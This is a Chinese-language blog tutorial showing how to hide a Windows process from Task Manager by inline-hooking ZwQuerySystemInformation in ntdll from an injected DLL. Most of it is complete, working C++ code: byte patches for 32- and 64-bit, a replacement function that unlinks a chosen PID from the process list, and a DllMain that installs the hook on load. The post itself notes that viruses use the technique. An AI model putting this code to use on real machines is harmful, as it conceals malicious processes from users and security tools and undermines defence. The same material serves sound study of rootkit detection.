<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    干貨 | 通過HOOK底層API實現進程隱藏

    VSole2021-07-17 10:40:07

    前言

    一次跟師傅交流時師傅談到有些EDR或AV,他們保護目標主機,甚至無進程,不經想到病毒實際上也常用這種技術。當然,做到隱藏,一個簡單的dll注入或者劫持就可以,但本文主要講解關于進程的隱藏。

    PE文件隱藏可以通過

    ?進程偽裝: 將進程名替換成其他正常進程的名稱(修改PEB路徑和命令行信息)?傀儡進程: 通過將主進程掛起,替換內存數據,卸載鏡像,修改上下文,并執行真正我們想要執行的進程,這也是一些殼的原理

    ?HOOK: 通過HOOK三環最底層APIZwQuerySystemInformation實現隱藏,這是本文的重點?COM劫持、DLL劫持、DLL注入......

    實現原理

    在正向開發中,要想做到進程遍歷,往往需要使用EnumProcess或是快照CreateToolhelp32Snapshot這些函數 而這些函數的底層(ring 3),都是調用的ZwQuerySystemInformation

    NTSTATUS WINAPI ZwQuerySystemInformation(
      _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,
      _Inout_   PVOID                    SystemInformation,
      _In_      ULONG                    SystemInformationLength,
      _Out_opt_ PULONG                   ReturnLength
    );
    

    如果通過hook進行對ZwQuerySystemInformation的重定向,那么就可以改變執行流,返回的信息中已經被我們篡改。32位下和64位下需要修改的字節數是不同的,使用xdbg斷點找到對應的硬編碼

    32位下: 需要修改5個字節硬編碼

    0xe9 xx xx xx xx
    

    64位下: 需要修改12個字節的硬編碼

    0x48 0xb8, xx xx xx xx xx xx xx xx
    0xFF 0xE0
    

    64位下該函數的名稱已經改為RtlGetNativeSystemInformation。將hookZwQuerySystemInformation函數寫在dll中,這樣方便注入到任何進程中。

    實現代碼

    hook函數

    void hookZwQuerySystemInformation()
    {
        //獲取ZwQuerySystemInformation的地址
        HMODULE hntdll = LoadLibraryA("ntdll.dll");
        if (!hntdll) {
            std::cout << "[!] Load ntdll Faild..";
            return;
        }
    #ifdef _WIN64
        typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(
            _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,
            _Inout_   PVOID                    SystemInformation,
            _In_      ULONG                    SystemInformationLength,
            _Out_opt_ PULONG                   ReturnLength
            );
    #else
        typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(
            _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,
            _Inout_   PVOID                    SystemInformation,
            _In_      ULONG                    SystemInformationLength,
            _Out_opt_ PULONG                   ReturnLength
            );
    #endif
        typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hntdll, "ZwQuerySystemInformation");
        if (!ZwQuerySystemInformation) {
            std::cout << "[!] Get ZwQuerySystemInformation Addr Faild..";
            return;
        }
    #ifdef _WIN64
        BYTE pData[12] = { 0x48,0xb8,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0xFF,0xE0 };
        ULONGLONG InfoAddr = (ULONGLONG)New_ZwQuerySystemInformation;
        ::RtlCopyMemory(&pData[2], &InfoAddr, sizeof(InfoAddr));
        // 保存前 12 字節數據
        ::RtlCopyMemory(g_Oldwin64, ZwQuerySystemInformation, sizeof(pData));
    #else
        BYTE pData[5] = { 0xe9,0x0,0x0,0x0,0x0 };
        //算出偏移地址
        DWORD dwOffeset = (DWORD)New_ZwQuerySystemInformation - (DWORD)ZwQuerySystemInformation - 5;
        //得到完整的pData
        RtlCopyMemory(&pData[1], &dwOffeset, sizeof(dwOffeset));
        //保存原來的硬編碼
        RtlCopyMemory(g_Oldwin32, ZwQuerySystemInformation, sizeof(pData));
    #endif 
        DWORD dwOldProtect = NULL;
        //修改為可寫屬性,不然會0xC00005訪問錯誤
        VirtualProtect(ZwQuerySystemInformation, sizeof(pData), PAGE_EXECUTE_READWRITE, &dwOldProtect);
        //修改硬編碼
        RtlCopyMemory(ZwQuerySystemInformation, pData, sizeof(pData));
        //還原保護屬性
        VirtualProtect(ZwQuerySystemInformation, sizeof(pData), dwOldProtect, &dwOldProtect);
    }
    

    unhook函數

    void unhookZwQuerySystemInformation()
    {
        //獲取ZwQuerySystemInformation的地址
        HMODULE hntdll = LoadLibraryA("ntdll.dll");
        if (!hntdll) {
            std::cout << "[!] Load ntdll Faild..";
            return;
        }
    #ifdef _WIN64
        typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(
            _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,
            _Inout_   PVOID                    SystemInformation,
            _In_      ULONG                    SystemInformationLength,
            _Out_opt_ PULONG                   ReturnLength
            );
    #else
        typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(
            _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,
            _Inout_   PVOID                    SystemInformation,
            _In_      ULONG                    SystemInformationLength,
            _Out_opt_ PULONG                   ReturnLength
            );
    #endif
        typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hntdll, "ZwQuerySystemInformation");
        if (!ZwQuerySystemInformation) {
            std::cout << "[!] Get ZwQuerySystemInformation Addr Faild..";
            return;
        }
        DWORD dwOldProtect = NULL;
        //方便就直接改12個字節的可寫屬性
        VirtualProtect(ZwQuerySystemInformation, 12, PAGE_EXECUTE_READWRITE, &dwOldProtect);
        //還原原來的硬編碼
    #ifdef _WIN64
        RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin64, sizeof(g_Oldwin64));
    #else
        RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin32, sizeof(g_Oldwin32));
    #endif 
        //還原屬性
        VirtualProtect(ZwQuerySystemInformation, 12, dwOldProtect, &dwOldProtect);
    }
    

    自己可控的函數,即New_ZwQuerySystemInformation

    NTSTATUS WINAPI New_ZwQuerySystemInformation(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength)
    {
        NTSTATUS status = NULL;
        PSYSTEM_PROCESS_INFORMATION pCur = NULL, pPrev = NULL;
        DWORD dwHideProcessId = 29936;
        //先卸載鉤子
        unhookZwQuerySystemInformation();
        // 獲取 ntdll.dll 的加載基址, 若沒有則返回
        HMODULE hntdll = LoadLibraryA("ntdll.dll");
        if (!hntdll) {
            std::cout << "[!] Load ntdll Faild..";
            return status;
        }
        // 獲取 ZwQuerySystemInformation 函數地址
    #ifdef _WIN64
        typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(
            _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,
            _Inout_   PVOID                    SystemInformation,
            _In_      ULONG                    SystemInformationLength,
            _Out_opt_ PULONG                   ReturnLength
            );
    #else
        typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(
            _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,
            _Inout_   PVOID                    SystemInformation,
            _In_      ULONG                    SystemInformationLength,
            _Out_opt_ PULONG                   ReturnLength
            );
    #endif
        typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hntdll, "ZwQuerySystemInformation");
        if (!ZwQuerySystemInformation) {
            std::cout << "[!] Get ZwQuerySystemInformation Addr Faild..";
            return status;
        }
        //調用原來的函數,第二個參數是返回請求的信息
        status = ZwQuerySystemInformation(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
        if (NT_SUCCESS(status) && 5 == SystemInformationClass)
        {
            pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
            while (TRUE)
            {
                // 判斷是否是要隱藏的進程PID,是就把該進程信息刪除
                if (dwHideProcessId == (DWORD)pCur->UniqueProcessId)
                {
                    if (0 == pCur->NextEntryOffset)
                    {
                        pPrev->NextEntryOffset = 0;
                    }
                    else
                    {
                        pPrev->NextEntryOffset = pPrev->NextEntryOffset + pCur->NextEntryOffset;
                    }
                }
                else
                {
                    pPrev = pCur;
                }
                if (0 == pCur->NextEntryOffset)
                {
                    break;
                }
                pCur = (PSYSTEM_PROCESS_INFORMATION)((BYTE*)pCur + pCur->NextEntryOffset);
            }
        }
        //掛鉤
        hookZwQuerySystemInformation();
        return status;
    }
    

    以上函數全部寫在dll中,dllmain主函數:

    BOOL APIENTRY DllMain( HMODULE hModule,
                           DWORD  ul_reason_for_call,
                           LPVOID lpReserved
                         )
    {
        switch (ul_reason_for_call)
        {
        case DLL_PROCESS_ATTACH:
            hookZwQuerySystemInformation();
            g_hModule = hModule;
            break;
        case DLL_THREAD_ATTACH:
            break;
        case DLL_THREAD_DETACH:
            break;
        case DLL_PROCESS_DETACH:
            unhookZwQuerySystemInformation();
            break;
        }
        return TRUE;
    }
    

    測試

    ?win10?64位dll?Injectdll(進程注入程序)?Taskmgr.exe

    要注意的是dll的位數。找到任務管理器pid:

    這里選擇隱藏QQ程序

    注入程序后

    可以看到QQ進程信息已經剔除

    思考

    如何將所有進程鉤住? 使用全局鉤子,這里我認為是兩個知識點,就不繼續展開說了。

    dwordtypedef
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    程序是指令、數據及其組織形式的描述,進程是程序的實體。在進程中當EXE模塊調用CreateFile()函數的時候,會去調用kernel32.dll模塊中的CreateFile()函數,因為真正的CreateFile()函數的實現在kernel32.dll模塊中。
    在Windows大部分應用都是基于消息機制,他們都擁有一個消息過程函數,根據不同消息完成不同功能,windows通過鉤子機制來截獲和監視系統中的這些消息。一般鉤子分局部鉤子與全局鉤子,局部鉤子一般用于某個線程,而全局鉤子一般通過dll文件實現相應的鉤子函數。
    全局鉤子注入在Windows大部分應用都是基于消息機制,他們都擁有一個消息過程函數,根據不同消息完成不同功能,windows通過鉤子機制來截獲和監視系統中的這些消息。一般鉤子分局部鉤子與全局鉤子,局部鉤子一般用于某個線程,而全局鉤子一般通過dll文件實現相應的鉤子函數。
    前言一次跟師傅交流時師傅談到有些EDR或AV,他們保護目標主機,甚至無進程,不經想到病毒實際上也常用這種技術。
    簡介這次實驗是在WIN7 X86系統上進程,使用的編譯器是VS2017。所謂的DLL注入,其實就是在其他的進程中把我們編寫的DLL加載進去。所以DLL注入的核心就是把要注入的DLL的路徑寫到目標進程中,然后在目標進程中調用LoadLibrary函數,并且指定參數為保存了DLL路徑的地址。要實現DLL注入,首先就要創建一個用來注入的DLL。
    最近在研究某數字殺軟的時候看到有個配置選項:這個自我保護實際上是加載360SelfProtection.sys驅動(看這名字應該還有360SelfProtection_win10.sys文件),在0環通過hook等手段保護注冊表項,重要進程進程等。
    Dll注入
    2021-11-08 14:57:41
    最近太忙啦XDM,又在做一些列的分析復現工作量有點大,更新要慢一點了。一致,也不會覆蓋其他的進程信息。
    在win2012以前的操作系統版本下,由于WDigest將明文儲存到lsass進程中,可以抓取明文密碼。
    DLL(Dynamic Link Library)文件為動態鏈接庫文件,又稱“應用程序拓展”,是軟件文件類型。在Windows中,許多應用程序并不是一個完整的可執行文件,它們被分割成一些相對獨立的動態鏈接庫,即DLL文件。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类